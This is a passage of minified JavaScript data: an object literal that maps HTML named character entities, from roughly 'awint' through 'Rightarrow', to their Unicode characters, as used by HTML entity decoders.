"∳",awint:"⨑",backcong:"≌",backepsilon:"϶",backprime:"‵",backsim:"∽",backsimeq:"⋍",Backslash:"∖",Barv:"⫧",barvee:"⊽",Barwed:"⌆",barwed:"⌅",barwedge:"⌅",bbrk:"⎵",bbrktbrk:"⎶",bcong:"≌",Bcy:"Б",bcy:"б",bdquo:"„",becaus:"∵",Because:"∵",because:"∵",bemptyv:"⦰",bepsi:"϶",bernou:"ℬ",Bernoullis:"ℬ",Beta:"Β",beta:"β",beth:"ℶ",between:"≬",Bfr:"\uD835\uDD05",bfr:"\uD835\uDD1F",bigcap:"⋂",bigcirc:"◯",bigcup:"⋃",bigodot:"⨀",bigoplus:"⨁",bigotimes:"⨂",bigsqcup:"⨆",bigstar:"★",bigtriangledown:"▽",bigtriangleup:"△",biguplus:"⨄",bigvee:"⋁",bigwedge:"⋀",bkarow:"⤍",blacklozenge:"⧫",blacksquare:"▪",blacktriangle:"▴",blacktriangledown:"▾",blacktriangleleft:"◂",blacktriangleright:"▸",blank:"␣",blk12:"▒",blk14:"░",blk34:"▓",block:"█",bne:"=⃥",bnequiv:"≡⃥",bNot:"⫭",bnot:"⌐",Bopf:"\uD835\uDD39",bopf:"\uD835\uDD53",bot:"⊥",bottom:"⊥",bowtie:"⋈",boxbox:"⧉",boxDL:"╗",boxDl:"╖",boxdL:"╕",boxdl:"┐",boxDR:"╔",boxDr:"╓",boxdR:"╒",boxdr:"┌",boxH:"═",boxh:"─",boxHD:"╦",boxHd:"╤",boxhD:"╥",boxhd:"┬",boxHU:"╩",boxHu:"╧",boxhU:"╨",boxhu:"┴",boxminus:"⊟",boxplus:"⊞",boxtimes:"⊠",boxUL:"╝",boxUl:"╜",boxuL:"╛",boxul:"┘",boxUR:"╚",boxUr:"╙",boxuR:"╘",boxur:"└",boxV:"║",boxv:"│",boxVH:"╬",boxVh:"╫",boxvH:"╪",boxvh:"┼",boxVL:"╣",boxVl:"╢",boxvL:"╡",boxvl:"┤",boxVR:"╠",boxVr:"╟",boxvR:"╞",boxvr:"├",bprime:"‵",Breve:"˘",breve:"˘",brvbar:"¦",Bscr:"ℬ",bscr:"\uD835\uDCB7",bsemi:"⁏",bsim:"∽",bsime:"⋍",bsol:"\\",bsolb:"⧅",bsolhsub:"⟈",bull:"•",bullet:"•",bump:"≎",bumpE:"⪮",bumpe:"≏",Bumpeq:"≎",bumpeq:"≏",Cacute:"Ć",cacute:"ć",Cap:"⋒",cap:"∩",capand:"⩄",capbrcup:"⩉",capcap:"⩋",capcup:"⩇",capdot:"⩀",CapitalDifferentialD:"ⅅ",caps:"∩︀",caret:"⁁",caron:"ˇ",Cayleys:"ℭ",ccaps:"⩍",Ccaron:"Č",ccaron:"č",Ccedil:"Ç",ccedil:"ç",Ccirc:"Ĉ",ccirc:"ĉ",Cconint:"∰",ccups:"⩌",ccupssm:"⩐",Cdot:"Ċ",cdot:"ċ",cedil:"¸",Cedilla:"¸",cemptyv:"⦲",cent:"¢",CenterDot:"·",centerdot:"·",Cfr:"ℭ",cfr:"\uD835\uDD20",CHcy:"Ч",chcy:"ч",check:"✓",checkmark:"✓",Chi:"Χ",chi:"χ",cir:"○",circ:"ˆ",circeq:"≗",circlearrowleft:"↺",circlearrowright:"↻",circledast:"⊛",circledcirc:"⊚",circleddash:"⊝",CircleDot:"⊙",circledR:"®",circledS:"Ⓢ",CircleMinus:"⊖",CirclePlus:"⊕",CircleTimes:"⊗",cirE:"⧃",cire:"≗",cirfnint:"⨐",cirmid:"⫯",cirscir:"⧂",ClockwiseContourIntegral:"∲",CloseCurlyDoubleQuote:"”",CloseCurlyQuote:"’",clubs:"♣",clubsuit:"♣",Colon:"∷",colon:":",Colone:"⩴",colone:"≔",coloneq:"≔",comma:",",commat:"@",comp:"∁",compfn:"∘",complement:"∁",complexes:"ℂ",cong:"≅",congdot:"⩭",Congruent:"≡",Conint:"∯",conint:"∮",ContourIntegral:"∮",Copf:"ℂ",copf:"\uD835\uDD54",coprod:"∐",Coproduct:"∐",COPY:"©",copy:"©",copysr:"℗",CounterClockwiseContourIntegral:"∳",crarr:"↵",Cross:"⨯",cross:"✗",Cscr:"\uD835\uDC9E",cscr:"\uD835\uDCB8",csub:"⫏",csube:"⫑",csup:"⫐",csupe:"⫒",ctdot:"⋯",cudarrl:"⤸",cudarrr:"⤵",cuepr:"⋞",cuesc:"⋟",cularr:"↶",cularrp:"⤽",Cup:"⋓",cup:"∪",cupbrcap:"⩈",CupCap:"≍",cupcap:"⩆",cupcup:"⩊",cupdot:"⊍",cupor:"⩅",cups:"∪︀",curarr:"↷",curarrm:"⤼",curlyeqprec:"⋞",curlyeqsucc:"⋟",curlyvee:"⋎",curlywedge:"⋏",curren:"¤",curvearrowleft:"↶",curvearrowright:"↷",cuvee:"⋎",cuwed:"⋏",cwconint:"∲",cwint:"∱",cylcty:"⌭",Dagger:"‡",dagger:"†",daleth:"ℸ",Darr:"↡",dArr:"⇓",darr:"↓",dash:"‐",Dashv:"⫤",dashv:"⊣",dbkarow:"⤏",dblac:"˝",Dcaron:"Ď",dcaron:"ď",Dcy:"Д",dcy:"д",DD:"ⅅ",dd:"ⅆ",ddagger:"‡",ddarr:"⇊",DDotrahd:"⤑",ddotseq:"⩷",deg:"°",Del:"∇",Delta:"Δ",delta:"δ",demptyv:"⦱",dfisht:"⥿",Dfr:"\uD835\uDD07",dfr:"\uD835\uDD21",dHar:"⥥",dharl:"⇃",dharr:"⇂",DiacriticalAcute:"´",DiacriticalDot:"˙",DiacriticalDoubleAcute:"˝",DiacriticalGrave:"`",DiacriticalTilde:"˜",diam:"⋄",Diamond:"⋄",diamond:"⋄",diamondsuit:"♦",diams:"♦",die:"¨",DifferentialD:"ⅆ",digamma:"ϝ",disin:"⋲",div:"÷",divide:"÷",divideontimes:"⋇",divonx:"⋇",DJcy:"Ђ",djcy:"ђ",dlcorn:"⌞",dlcrop:"⌍",dollar:"$",Dopf:"\uD835\uDD3B",dopf:"\uD835\uDD55",Dot:"¨",dot:"˙",DotDot:"⃜",doteq:"≐",doteqdot:"≑",DotEqual:"≐",dotminus:"∸",dotplus:"∔",dotsquare:"⊡",doublebarwedge:"⌆",DoubleContourIntegral:"∯",DoubleDot:"¨",DoubleDownArrow:"⇓",DoubleLeftArrow:"⇐",DoubleLeftRightArrow:"⇔",DoubleLeftTee:"⫤",DoubleLongLeftArrow:"⟸",DoubleLongLeftRightArrow:"⟺",DoubleLongRightArrow:"⟹",DoubleRightArrow:"⇒",DoubleRightTee:"⊨",DoubleUpArrow:"⇑",DoubleUpDownArrow:"⇕",DoubleVerticalBar:"∥",DownArrow:"↓",Downarrow:"⇓",downarrow:"↓",DownArrowBar:"⤓",DownArrowUpArrow:"⇵",DownBreve:"̑",downdownarrows:"⇊",downharpoonleft:"⇃",downharpoonright:"⇂",DownLeftRightVector:"⥐",DownLeftTeeVector:"⥞",DownLeftVector:"↽",DownLeftVectorBar:"⥖",DownRightTeeVector:"⥟",DownRightVector:"⇁",DownRightVectorBar:"⥗",DownTee:"⊤",DownTeeArrow:"↧",drbkarow:"⤐",drcorn:"⌟",drcrop:"⌌",Dscr:"\uD835\uDC9F",dscr:"\uD835\uDCB9",DScy:"Ѕ",dscy:"ѕ",dsol:"⧶",Dstrok:"Đ",dstrok:"đ",dtdot:"⋱",dtri:"▿",dtrif:"▾",duarr:"⇵",duhar:"⥯",dwangle:"⦦",DZcy:"Џ",dzcy:"џ",dzigrarr:"⟿",Eacute:"É",eacute:"é",easter:"⩮",Ecaron:"Ě",ecaron:"ě",ecir:"≖",Ecirc:"Ê",ecirc:"ê",ecolon:"≕",Ecy:"Э",ecy:"э",eDDot:"⩷",Edot:"Ė",eDot:"≑",edot:"ė",ee:"ⅇ",efDot:"≒",Efr:"\uD835\uDD08",efr:"\uD835\uDD22",eg:"⪚",Egrave:"È",egrave:"è",egs:"⪖",egsdot:"⪘",el:"⪙",Element:"∈",elinters:"⏧",ell:"ℓ",els:"⪕",elsdot:"⪗",Emacr:"Ē",emacr:"ē",empty:"∅",emptyset:"∅",EmptySmallSquare:"◻",emptyv:"∅",EmptyVerySmallSquare:"▫",emsp:" ",emsp13:" ",emsp14:" ",ENG:"Ŋ",eng:"ŋ",ensp:" ",Eogon:"Ę",eogon:"ę",Eopf:"\uD835\uDD3C",eopf:"\uD835\uDD56",epar:"⋕",eparsl:"⧣",eplus:"⩱",epsi:"ε",Epsilon:"Ε",epsilon:"ε",epsiv:"ϵ",eqcirc:"≖",eqcolon:"≕",eqsim:"≂",eqslantgtr:"⪖",eqslantless:"⪕",Equal:"⩵",equals:"=",EqualTilde:"≂",equest:"≟",Equilibrium:"⇌",equiv:"≡",equivDD:"⩸",eqvparsl:"⧥",erarr:"⥱",erDot:"≓",Escr:"ℰ",escr:"ℯ",esdot:"≐",Esim:"⩳",esim:"≂",Eta:"Η",eta:"η",ETH:"Ð",eth:"ð",Euml:"Ë",euml:"ë",euro:"€",excl:"!",exist:"∃",Exists:"∃",expectation:"ℰ",ExponentialE:"ⅇ",exponentiale:"ⅇ",fallingdotseq:"≒",Fcy:"Ф",fcy:"ф",female:"♀",ffilig:"ffi",fflig:"ff",ffllig:"ffl",Ffr:"\uD835\uDD09",ffr:"\uD835\uDD23",filig:"fi",FilledSmallSquare:"◼",FilledVerySmallSquare:"▪",fjlig:"fj",flat:"♭",fllig:"fl",fltns:"▱",fnof:"ƒ",Fopf:"\uD835\uDD3D",fopf:"\uD835\uDD57",ForAll:"∀",forall:"∀",fork:"⋔",forkv:"⫙",Fouriertrf:"ℱ",fpartint:"⨍",frac12:"½",frac13:"⅓",frac14:"¼",frac15:"⅕",frac16:"⅙",frac18:"⅛",frac23:"⅔",frac25:"⅖",frac34:"¾",frac35:"⅗",frac38:"⅜",frac45:"⅘",frac56:"⅚",frac58:"⅝",frac78:"⅞",frasl:"⁄",frown:"⌢",Fscr:"ℱ",fscr:"\uD835\uDCBB",gacute:"ǵ",Gamma:"Γ",gamma:"γ",Gammad:"Ϝ",gammad:"ϝ",gap:"⪆",Gbreve:"Ğ",gbreve:"ğ",Gcedil:"Ģ",Gcirc:"Ĝ",gcirc:"ĝ",Gcy:"Г",gcy:"г",Gdot:"Ġ",gdot:"ġ",gE:"≧",ge:"≥",gEl:"⪌",gel:"⋛",geq:"≥",geqq:"≧",geqslant:"⩾",ges:"⩾",gescc:"⪩",gesdot:"⪀",gesdoto:"⪂",gesdotol:"⪄",gesl:"⋛︀",gesles:"⪔",Gfr:"\uD835\uDD0A",gfr:"\uD835\uDD24",Gg:"⋙",gg:"≫",ggg:"⋙",gimel:"ℷ",GJcy:"Ѓ",gjcy:"ѓ",gl:"≷",gla:"⪥",glE:"⪒",glj:"⪤",gnap:"⪊",gnapprox:"⪊",gnE:"≩",gne:"⪈",gneq:"⪈",gneqq:"≩",gnsim:"⋧",Gopf:"\uD835\uDD3E",gopf:"\uD835\uDD58",grave:"`",GreaterEqual:"≥",GreaterEqualLess:"⋛",GreaterFullEqual:"≧",GreaterGreater:"⪢",GreaterLess:"≷",GreaterSlantEqual:"⩾",GreaterTilde:"≳",Gscr:"\uD835\uDCA2",gscr:"ℊ",gsim:"≳",gsime:"⪎",gsiml:"⪐",Gt:"≫",GT:">",gt:">",gtcc:"⪧",gtcir:"⩺",gtdot:"⋗",gtlPar:"⦕",gtquest:"⩼",gtrapprox:"⪆",gtrarr:"⥸",gtrdot:"⋗",gtreqless:"⋛",gtreqqless:"⪌",gtrless:"≷",gtrsim:"≳",gvertneqq:"≩︀",gvnE:"≩︀",Hacek:"ˇ",hairsp:" ",half:"½",hamilt:"ℋ",HARDcy:"Ъ",hardcy:"ъ",hArr:"⇔",harr:"↔",harrcir:"⥈",harrw:"↭",Hat:"^",hbar:"ℏ",Hcirc:"Ĥ",hcirc:"ĥ",hearts:"♥",heartsuit:"♥",hellip:"…",hercon:"⊹",Hfr:"ℌ",hfr:"\uD835\uDD25",HilbertSpace:"ℋ",hksearow:"⤥",hkswarow:"⤦",hoarr:"⇿",homtht:"∻",hookleftarrow:"↩",hookrightarrow:"↪",Hopf:"ℍ",hopf:"\uD835\uDD59",horbar:"―",HorizontalLine:"─",Hscr:"ℋ",hscr:"\uD835\uDCBD",hslash:"ℏ",Hstrok:"Ħ",hstrok:"ħ",HumpDownHump:"≎",HumpEqual:"≏",hybull:"⁃",hyphen:"‐",Iacute:"Í",iacute:"í",ic:"",Icirc:"Î",icirc:"î",Icy:"И",icy:"и",Idot:"İ",IEcy:"Е",iecy:"е",iexcl:"¡",iff:"⇔",Ifr:"ℑ",ifr:"\uD835\uDD26",Igrave:"Ì",igrave:"ì",ii:"ⅈ",iiiint:"⨌",iiint:"∭",iinfin:"⧜",iiota:"℩",IJlig:"IJ",ijlig:"ij",Im:"ℑ",Imacr:"Ī",imacr:"ī",image:"ℑ",ImaginaryI:"ⅈ",imagline:"ℐ",imagpart:"ℑ",imath:"ı",imof:"⊷",imped:"Ƶ",Implies:"⇒",in:"∈",incare:"℅",infin:"∞",infintie:"⧝",inodot:"ı",Int:"∬",int:"∫",intcal:"⊺",integers:"ℤ",Integral:"∫",intercal:"⊺",Intersection:"⋂",intlarhk:"⨗",intprod:"⨼",InvisibleComma:"",InvisibleTimes:"",IOcy:"Ё",iocy:"ё",Iogon:"Į",iogon:"į",Iopf:"\uD835\uDD40",iopf:"\uD835\uDD5A",Iota:"Ι",iota:"ι",iprod:"⨼",iquest:"¿",Iscr:"ℐ",iscr:"\uD835\uDCBE",isin:"∈",isindot:"⋵",isinE:"⋹",isins:"⋴",isinsv:"⋳",isinv:"∈",it:"",Itilde:"Ĩ",itilde:"ĩ",Iukcy:"І",iukcy:"і",Iuml:"Ï",iuml:"ï",Jcirc:"Ĵ",jcirc:"ĵ",Jcy:"Й",jcy:"й",Jfr:"\uD835\uDD0D",jfr:"\uD835\uDD27",jmath:"ȷ",Jopf:"\uD835\uDD41",jopf:"\uD835\uDD5B",Jscr:"\uD835\uDCA5",jscr:"\uD835\uDCBF",Jsercy:"Ј",jsercy:"ј",Jukcy:"Є",jukcy:"є",Kappa:"Κ",kappa:"κ",kappav:"ϰ",Kcedil:"Ķ",kcedil:"ķ",Kcy:"К",kcy:"к",Kfr:"\uD835\uDD0E",kfr:"\uD835\uDD28",kgreen:"ĸ",KHcy:"Х",khcy:"х",KJcy:"Ќ",kjcy:"ќ",Kopf:"\uD835\uDD42",kopf:"\uD835\uDD5C",Kscr:"\uD835\uDCA6",kscr:"\uD835\uDCC0",lAarr:"⇚",Lacute:"Ĺ",lacute:"ĺ",laemptyv:"⦴",lagran:"ℒ",Lambda:"Λ",lambda:"λ",Lang:"⟪",lang:"⟨",langd:"⦑",langle:"⟨",lap:"⪅",Laplacetrf:"ℒ",laquo:"«",Larr:"↞",lArr:"⇐",larr:"←",larrb:"⇤",larrbfs:"⤟",larrfs:"⤝",larrhk:"↩",larrlp:"↫",larrpl:"⤹",larrsim:"⥳",larrtl:"↢",lat:"⪫",lAtail:"⤛",latail:"⤙",late:"⪭",lates:"⪭︀",lBarr:"⤎",lbarr:"⤌",lbbrk:"❲",lbrace:"{",lbrack:"[",lbrke:"⦋",lbrksld:"⦏",lbrkslu:"⦍",Lcaron:"Ľ",lcaron:"ľ",Lcedil:"Ļ",lcedil:"ļ",lceil:"⌈",lcub:"{",Lcy:"Л",lcy:"л",ldca:"⤶",ldquo:"“",ldquor:"„",ldrdhar:"⥧",ldrushar:"⥋",ldsh:"↲",lE:"≦",le:"≤",LeftAngleBracket:"⟨",LeftArrow:"←",Leftarrow:"⇐",leftarrow:"←",LeftArrowBar:"⇤",LeftArrowRightArrow:"⇆",leftarrowtail:"↢",LeftCeiling:"⌈",LeftDoubleBracket:"⟦",LeftDownTeeVector:"⥡",LeftDownVector:"⇃",LeftDownVectorBar:"⥙",LeftFloor:"⌊",leftharpoondown:"↽",leftharpoonup:"↼",leftleftarrows:"⇇",LeftRightArrow:"↔",Leftrightarrow:"⇔",leftrightarrow:"↔",leftrightarrows:"⇆",leftrightharpoons:"⇋",leftrightsquigarrow:"↭",LeftRightVector:"⥎",LeftTee:"⊣",LeftTeeArrow:"↤",LeftTeeVector:"⥚",leftthreetimes:"⋋",LeftTriangle:"⊲",LeftTriangleBar:"⧏",LeftTriangleEqual:"⊴",LeftUpDownVector:"⥑",LeftUpTeeVector:"⥠",LeftUpVector:"↿",LeftUpVectorBar:"⥘",LeftVector:"↼",LeftVectorBar:"⥒",lEg:"⪋",leg:"⋚",leq:"≤",leqq:"≦",leqslant:"⩽",les:"⩽",lescc:"⪨",lesdot:"⩿",lesdoto:"⪁",lesdotor:"⪃",lesg:"⋚︀",lesges:"⪓",lessapprox:"⪅",lessdot:"⋖",lesseqgtr:"⋚",lesseqqgtr:"⪋",LessEqualGreater:"⋚",LessFullEqual:"≦",LessGreater:"≶",lessgtr:"≶",LessLess:"⪡",lesssim:"≲",LessSlantEqual:"⩽",LessTilde:"≲",lfisht:"⥼",lfloor:"⌊",Lfr:"\uD835\uDD0F",lfr:"\uD835\uDD29",lg:"≶",lgE:"⪑",lHar:"⥢",lhard:"↽",lharu:"↼",lharul:"⥪",lhblk:"▄",LJcy:"Љ",ljcy:"љ",Ll:"⋘",ll:"≪",llarr:"⇇",llcorner:"⌞",Lleftarrow:"⇚",llhard:"⥫",lltri:"◺",Lmidot:"Ŀ",lmidot:"ŀ",lmoust:"⎰",lmoustache:"⎰",lnap:"⪉",lnapprox:"⪉",lnE:"≨",lne:"⪇",lneq:"⪇",lneqq:"≨",lnsim:"⋦",loang:"⟬",loarr:"⇽",lobrk:"⟦",LongLeftArrow:"⟵",Longleftarrow:"⟸",longleftarrow:"⟵",LongLeftRightArrow:"⟷",Longleftrightarrow:"⟺",longleftrightarrow:"⟷",longmapsto:"⟼",LongRightArrow:"⟶",Longrightarrow:"⟹",longrightarrow:"⟶",looparrowleft:"↫",looparrowright:"↬",lopar:"⦅",Lopf:"\uD835\uDD43",lopf:"\uD835\uDD5D",loplus:"⨭",lotimes:"⨴",lowast:"∗",lowbar:"_",LowerLeftArrow:"↙",LowerRightArrow:"↘",loz:"◊",lozenge:"◊",lozf:"⧫",lpar:"(",lparlt:"⦓",lrarr:"⇆",lrcorner:"⌟",lrhar:"⇋",lrhard:"⥭",lrm:"",lrtri:"⊿",lsaquo:"‹",Lscr:"ℒ",lscr:"\uD835\uDCC1",Lsh:"↰",lsh:"↰",lsim:"≲",lsime:"⪍",lsimg:"⪏",lsqb:"[",lsquo:"‘",lsquor:"‚",Lstrok:"Ł",lstrok:"ł",Lt:"≪",LT:"<",lt:"<",ltcc:"⪦",ltcir:"⩹",ltdot:"⋖",lthree:"⋋",ltimes:"⋉",ltlarr:"⥶",ltquest:"⩻",ltri:"◃",ltrie:"⊴",ltrif:"◂",ltrPar:"⦖",lurdshar:"⥊",luruhar:"⥦",lvertneqq:"≨︀",lvnE:"≨︀",macr:"¯",male:"♂",malt:"✠",maltese:"✠",Map:"⤅",map:"↦",mapsto:"↦",mapstodown:"↧",mapstoleft:"↤",mapstoup:"↥",marker:"▮",mcomma:"⨩",Mcy:"М",mcy:"м",mdash:"—",mDDot:"∺",measuredangle:"∡",MediumSpace:" ",Mellintrf:"ℳ",Mfr:"\uD835\uDD10",mfr:"\uD835\uDD2A",mho:"℧",micro:"µ",mid:"∣",midast:"*",midcir:"⫰",middot:"·",minus:"−",minusb:"⊟",minusd:"∸",minusdu:"⨪",MinusPlus:"∓",mlcp:"⫛",mldr:"…",mnplus:"∓",models:"⊧",Mopf:"\uD835\uDD44",mopf:"\uD835\uDD5E",mp:"∓",Mscr:"ℳ",mscr:"\uD835\uDCC2",mstpos:"∾",Mu:"Μ",mu:"μ",multimap:"⊸",mumap:"⊸",nabla:"∇",Nacute:"Ń",nacute:"ń",nang:"∠⃒",nap:"≉",napE:"⩰̸",napid:"≋̸",napos:"ʼn",napprox:"≉",natur:"♮",natural:"♮",naturals:"ℕ",nbsp:" ",nbump:"≎̸",nbumpe:"≏̸",ncap:"⩃",Ncaron:"Ň",ncaron:"ň",Ncedil:"Ņ",ncedil:"ņ",ncong:"≇",ncongdot:"⩭̸",ncup:"⩂",Ncy:"Н",ncy:"н",ndash:"–",ne:"≠",nearhk:"⤤",neArr:"⇗",nearr:"↗",nearrow:"↗",nedot:"≐̸",NegativeMediumSpace:"",NegativeThickSpace:"",NegativeThinSpace:"",NegativeVeryThinSpace:"",nequiv:"≢",nesear:"⤨",nesim:"≂̸",NestedGreaterGreater:"≫",NestedLessLess:"≪",NewLine:` `,nexist:"∄",nexists:"∄",Nfr:"\uD835\uDD11",nfr:"\uD835\uDD2B",ngE:"≧̸",nge:"≱",ngeq:"≱",ngeqq:"≧̸",ngeqslant:"⩾̸",nges:"⩾̸",nGg:"⋙̸",ngsim:"≵",nGt:"≫⃒",ngt:"≯",ngtr:"≯",nGtv:"≫̸",nhArr:"⇎",nharr:"↮",nhpar:"⫲",ni:"∋",nis:"⋼",nisd:"⋺",niv:"∋",NJcy:"Њ",njcy:"њ",nlArr:"⇍",nlarr:"↚",nldr:"‥",nlE:"≦̸",nle:"≰",nLeftarrow:"⇍",nleftarrow:"↚",nLeftrightarrow:"⇎",nleftrightarrow:"↮",nleq:"≰",nleqq:"≦̸",nleqslant:"⩽̸",nles:"⩽̸",nless:"≮",nLl:"⋘̸",nlsim:"≴",nLt:"≪⃒",nlt:"≮",nltri:"⋪",nltrie:"⋬",nLtv:"≪̸",nmid:"∤",NoBreak:"",NonBreakingSpace:" ",Nopf:"ℕ",nopf:"\uD835\uDD5F",Not:"⫬",not:"¬",NotCongruent:"≢",NotCupCap:"≭",NotDoubleVerticalBar:"∦",NotElement:"∉",NotEqual:"≠",NotEqualTilde:"≂̸",NotExists:"∄",NotGreater:"≯",NotGreaterEqual:"≱",NotGreaterFullEqual:"≧̸",NotGreaterGreater:"≫̸",NotGreaterLess:"≹",NotGreaterSlantEqual:"⩾̸",NotGreaterTilde:"≵",NotHumpDownHump:"≎̸",NotHumpEqual:"≏̸",notin:"∉",notindot:"⋵̸",notinE:"⋹̸",notinva:"∉",notinvb:"⋷",notinvc:"⋶",NotLeftTriangle:"⋪",NotLeftTriangleBar:"⧏̸",NotLeftTriangleEqual:"⋬",NotLess:"≮",NotLessEqual:"≰",NotLessGreater:"≸",NotLessLess:"≪̸",NotLessSlantEqual:"⩽̸",NotLessTilde:"≴",NotNestedGreaterGreater:"⪢̸",NotNestedLessLess:"⪡̸",notni:"∌",notniva:"∌",notnivb:"⋾",notnivc:"⋽",NotPrecedes:"⊀",NotPrecedesEqual:"⪯̸",NotPrecedesSlantEqual:"⋠",NotReverseElement:"∌",NotRightTriangle:"⋫",NotRightTriangleBar:"⧐̸",NotRightTriangleEqual:"⋭",NotSquareSubset:"⊏̸",NotSquareSubsetEqual:"⋢",NotSquareSuperset:"⊐̸",NotSquareSupersetEqual:"⋣",NotSubset:"⊂⃒",NotSubsetEqual:"⊈",NotSucceeds:"⊁",NotSucceedsEqual:"⪰̸",NotSucceedsSlantEqual:"⋡",NotSucceedsTilde:"≿̸",NotSuperset:"⊃⃒",NotSupersetEqual:"⊉",NotTilde:"≁",NotTildeEqual:"≄",NotTildeFullEqual:"≇",NotTildeTilde:"≉",NotVerticalBar:"∤",npar:"∦",nparallel:"∦",nparsl:"⫽⃥",npart:"∂̸",npolint:"⨔",npr:"⊀",nprcue:"⋠",npre:"⪯̸",nprec:"⊀",npreceq:"⪯̸",nrArr:"⇏",nrarr:"↛",nrarrc:"⤳̸",nrarrw:"↝̸",nRightarrow:"⇏",nrightarrow:"↛",nrtri:"⋫",nrtrie:"⋭",nsc:"⊁",nsccue:"⋡",nsce:"⪰̸",Nscr:"\uD835\uDCA9",nscr:"\uD835\uDCC3",nshortmid:"∤",nshortparallel:"∦",nsim:"≁",nsime:"≄",nsimeq:"≄",nsmid:"∤",nspar:"∦",nsqsube:"⋢",nsqsupe:"⋣",nsub:"⊄",nsubE:"⫅̸",nsube:"⊈",nsubset:"⊂⃒",nsubseteq:"⊈",nsubseteqq:"⫅̸",nsucc:"⊁",nsucceq:"⪰̸",nsup:"⊅",nsupE:"⫆̸",nsupe:"⊉",nsupset:"⊃⃒",nsupseteq:"⊉",nsupseteqq:"⫆̸",ntgl:"≹",Ntilde:"Ñ",ntilde:"ñ",ntlg:"≸",ntriangleleft:"⋪",ntrianglelefteq:"⋬",ntriangleright:"⋫",ntrianglerighteq:"⋭",Nu:"Ν",nu:"ν",num:"#",numero:"№",numsp:" ",nvap:"≍⃒",nVDash:"⊯",nVdash:"⊮",nvDash:"⊭",nvdash:"⊬",nvge:"≥⃒",nvgt:">⃒",nvHarr:"⤄",nvinfin:"⧞",nvlArr:"⤂",nvle:"≤⃒",nvlt:"<⃒",nvltrie:"⊴⃒",nvrArr:"⤃",nvrtrie:"⊵⃒",nvsim:"∼⃒",nwarhk:"⤣",nwArr:"⇖",nwarr:"↖",nwarrow:"↖",nwnear:"⤧",Oacute:"Ó",oacute:"ó",oast:"⊛",ocir:"⊚",Ocirc:"Ô",ocirc:"ô",Ocy:"О",ocy:"о",odash:"⊝",Odblac:"Ő",odblac:"ő",odiv:"⨸",odot:"⊙",odsold:"⦼",OElig:"Œ",oelig:"œ",ofcir:"⦿",Ofr:"\uD835\uDD12",ofr:"\uD835\uDD2C",ogon:"˛",Ograve:"Ò",ograve:"ò",ogt:"⧁",ohbar:"⦵",ohm:"Ω",oint:"∮",olarr:"↺",olcir:"⦾",olcross:"⦻",oline:"‾",olt:"⧀",Omacr:"Ō",omacr:"ō",Omega:"Ω",omega:"ω",Omicron:"Ο",omicron:"ο",omid:"⦶",ominus:"⊖",Oopf:"\uD835\uDD46",oopf:"\uD835\uDD60",opar:"⦷",OpenCurlyDoubleQuote:"“",OpenCurlyQuote:"‘",operp:"⦹",oplus:"⊕",Or:"⩔",or:"∨",orarr:"↻",ord:"⩝",order:"ℴ",orderof:"ℴ",ordf:"ª",ordm:"º",origof:"⊶",oror:"⩖",orslope:"⩗",orv:"⩛",oS:"Ⓢ",Oscr:"\uD835\uDCAA",oscr:"ℴ",Oslash:"Ø",oslash:"ø",osol:"⊘",Otilde:"Õ",otilde:"õ",Otimes:"⨷",otimes:"⊗",otimesas:"⨶",Ouml:"Ö",ouml:"ö",ovbar:"⌽",OverBar:"‾",OverBrace:"⏞",OverBracket:"⎴",OverParenthesis:"⏜",par:"∥",para:"¶",parallel:"∥",parsim:"⫳",parsl:"⫽",part:"∂",PartialD:"∂",Pcy:"П",pcy:"п",percnt:"%",period:".",permil:"‰",perp:"⊥",pertenk:"‱",Pfr:"\uD835\uDD13",pfr:"\uD835\uDD2D",Phi:"Φ",phi:"φ",phiv:"ϕ",phmmat:"ℳ",phone:"☎",Pi:"Π",pi:"π",pitchfork:"⋔",piv:"ϖ",planck:"ℏ",planckh:"ℎ",plankv:"ℏ",plus:"+",plusacir:"⨣",plusb:"⊞",pluscir:"⨢",plusdo:"∔",plusdu:"⨥",pluse:"⩲",PlusMinus:"±",plusmn:"±",plussim:"⨦",plustwo:"⨧",pm:"±",Poincareplane:"ℌ",pointint:"⨕",Popf:"ℙ",popf:"\uD835\uDD61",pound:"£",Pr:"⪻",pr:"≺",prap:"⪷",prcue:"≼",prE:"⪳",pre:"⪯",prec:"≺",precapprox:"⪷",preccurlyeq:"≼",Precedes:"≺",PrecedesEqual:"⪯",PrecedesSlantEqual:"≼",PrecedesTilde:"≾",preceq:"⪯",precnapprox:"⪹",precneqq:"⪵",precnsim:"⋨",precsim:"≾",Prime:"″",prime:"′",primes:"ℙ",prnap:"⪹",prnE:"⪵",prnsim:"⋨",prod:"∏",Product:"∏",profalar:"⌮",profline:"⌒",profsurf:"⌓",prop:"∝",Proportion:"∷",Proportional:"∝",propto:"∝",prsim:"≾",prurel:"⊰",Pscr:"\uD835\uDCAB",pscr:"\uD835\uDCC5",Psi:"Ψ",psi:"ψ",puncsp:" ",Qfr:"\uD835\uDD14",qfr:"\uD835\uDD2E",qint:"⨌",Qopf:"ℚ",qopf:"\uD835\uDD62",qprime:"⁗",Qscr:"\uD835\uDCAC",qscr:"\uD835\uDCC6",quaternions:"ℍ",quatint:"⨖",quest:"?",questeq:"≟",QUOT:'"',quot:'"',rAarr:"⇛",race:"∽̱",Racute:"Ŕ",racute:"ŕ",radic:"√",raemptyv:"⦳",Rang:"⟫",rang:"⟩",rangd:"⦒",range:"⦥",rangle:"⟩",raquo:"»",Rarr:"↠",rArr:"⇒",rarr:"→",rarrap:"⥵",rarrb:"⇥",rarrbfs:"⤠",rarrc:"⤳",rarrfs:"⤞",rarrhk:"↪",rarrlp:"↬",rarrpl:"⥅",rarrsim:"⥴",Rarrtl:"⤖",rarrtl:"↣",rarrw:"↝",rAtail:"⤜",ratail:"⤚",ratio:"∶",rationals:"ℚ",RBarr:"⤐",rBarr:"⤏",rbarr:"⤍",rbbrk:"❳",rbrace:"}",rbrack:"]",rbrke:"⦌",rbrksld:"⦎",rbrkslu:"⦐",Rcaron:"Ř",rcaron:"ř",Rcedil:"Ŗ",rcedil:"ŗ",rceil:"⌉",rcub:"}",Rcy:"Р",rcy:"р",rdca:"⤷",rdldhar:"⥩",rdquo:"”",rdquor:"”",rdsh:"↳",Re:"ℜ",real:"ℜ",realine:"ℛ",realpart:"ℜ",reals:"ℝ",rect:"▭",REG:"®",reg:"®",ReverseElement:"∋",ReverseEquilibrium:"⇋",ReverseUpEquilibrium:"⥯",rfisht:"⥽",rfloor:"⌋",Rfr:"ℜ",rfr:"\uD835\uDD2F",rHar:"⥤",rhard:"⇁",rharu:"⇀",rharul:"⥬",Rho:"Ρ",rho:"ρ",rhov:"ϱ",RightAngleBracket:"⟩",RightArrow:"→",Rightarrow:"⇒"